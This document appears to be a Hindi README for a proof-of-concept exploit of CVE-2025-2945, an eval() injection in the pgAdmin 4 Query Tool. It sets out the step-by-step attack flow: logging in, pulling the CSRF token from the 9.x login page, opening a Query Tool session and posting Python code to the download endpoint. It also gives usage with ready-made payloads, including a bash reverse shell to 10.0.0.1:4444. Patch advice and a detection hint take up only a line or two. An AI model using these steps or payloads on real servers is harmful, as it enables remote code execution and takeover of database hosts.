
pgAdmin 4 (8.10–9.1) में प्रमाणित RCE, Query Tool में eval() इंजेक्शन के माध्यम से। यह pgAdmin 9.x प्रमाणीकरण परिवर्तनों के लिए संगतता सुधारों के साथ एक अद्यतन PoC है।
CVE-2025-2945 के लिए प्रूफ ऑफ कॉन्सेप्ट, pgAdmin 4 में एक गंभीर रिमोट कोड निष्पादन भेद्यता।
प्रभावित संस्करण: 8.10 से 9.1 तक
में स्थिर: 9.2 (4 अप्रैल 2025 को जारी)
CVSS v3.1: 9.9 (गंभीर)
pgAdmin 4 क्वेरी टूल एक एंडपॉइंट उजागर करता है जो query_commited पैरामीटर स्वीकार करता है और इसे बिना किसी स्वच्छता के सीधे Python के बिल्ट-इन eval() में पास करता है। एक प्रमाणित हमलावर इस पैरामीटर के माध्यम से मनमाना Python कोड सबमिट कर सकता है और इसे pgAdmin सेवा खाते के तहत सर्वर-साइड निष्पादित करा सकता है।
कमजोर एंडपॉइंट है:
POST /sqleditor/query_tool/download/<trans_id>
JSON बॉडी में query_commited फ़ील्ड का मूल्यांकन सर्वर पर Python कोड के रूप में किया जाता है।
pgAdmin 4 संस्करण 9.2 से पहले, क्वेरी टूल डाउनलोड हैंडलर उपयोगकर्ता द्वारा प्रदान किए गए इनपुट पर eval() कॉल करता है:
# Simplified representation of the vulnerable code path
result = eval(data.get('query_commited'))
कोई इनपुट सत्यापन, सैंडबॉक्सिंग या अनुमति सूची लागू नहीं की जाती है। कोई भी मान्य Python अभिव्यक्ति pgAdmin प्रक्रिया के विशेषाधिकारों के साथ निष्पादित होती है।
/authenticate/login पर क्रेडेंशियल POST करें, एक सत्र कुकी और CSRF टोकन प्राप्त करें/sqleditor/initialize/sqleditor/<trans_id>/<sgid>/<sid>/<did> पर POST करें ताकि क्वेरी टूल सत्र स्थापित किया जा सके/sqleditor/get_server_connection/<sgid>/<sid> GET करें जब तक कोई data.status == true वापस न करे/sqleditor/query_tool/download/<trans_id> पर {"query_commited": "<python payload>"} के साथ POST करें, निष्पादन की पुष्टि करते हुए 500 प्रतिक्रिया प्राप्त करेंपुराने pgAdmin संस्करणों में CSRF टोकन एक छिपे हुए <input> फ़ील्ड या एक कुकी में एम्बेड किया गया था। संस्करण 9.x एक React SPA आर्किटेक्चर में चला गया जहाँ टोकन /login पेज पर window.renderSecurityPage() कॉल के अंदर JSON के रूप में एम्बेड किया गया है:
"csrfToken": "<token value>"
टोकन सत्र-स्कोप्ड है (Flask-WTF / itsdangerous), इसलिए प्रारंभिक GET /login से प्राप्त टोकन पूरे सत्र के लिए मान्य रहता है और सभी बाद के API कॉल के लिए पुन: उपयोग किया जा सकता है।
pgAdmin 9.x ने लॉगिन रूट को विभाजित किया:
GET /login — लॉगिन पेज प्रस्तुत करता है (CSRF टोकन शामिल है)POST /authenticate/login — क्रेडेंशियल संसाधित करता हैपुराने PoCs जो सीधे /login पर POST करते हैं, उन्हें 9.x इंस्टेंस पर 404 या 405 प्राप्त होगा।
pip install requests faker
python3 poc.py \
--rhost <target_host> \
--username <pgadmin_email> \
--password <pgadmin_password> \
--db-user <db_username> \
--db-pass <db_password> \
--db-name <database_name> \
--payload "<python_expression>"
| तर्क | विवरण |
|---|---|
--rhost | लक्ष्य होस्टनाम या IP (बिना स्कीम के) |
--rport | लक्ष्य पोर्ट (डिफ़ॉल्ट: 80) |
--username | pgAdmin लॉगिन ईमेल |
--password | pgAdmin लॉगिन पासवर्ड |
--db-user | PostgreSQL उपयोगकर्ता नाम |
--db-pass | PostgreSQL पासवर्ड |
--db-name | डेटाबेस नाम |
--payload | सर्वर पर मूल्यांकन करने के लिए Python अभिव्यक्ति |
--max-server-id | जांच करने के लिए अधिकतम सर्वर IDs (डिफ़ॉल्ट: 10) |
कमांड निष्पादन:
--payload "__import__('os').system('id')"
रिवर्स शेल:
--payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')"
/sqleditor/query_tool/download/ से अनपेक्षित HTTP 500 प्रतिक्रियाएँpgAdmin 4 संस्करण 9.2 या बाद में अपग्रेड करें।
यह रिपॉजिटरी केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए है। उन सिस्टमों के विरुद्ध उपयोग न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है।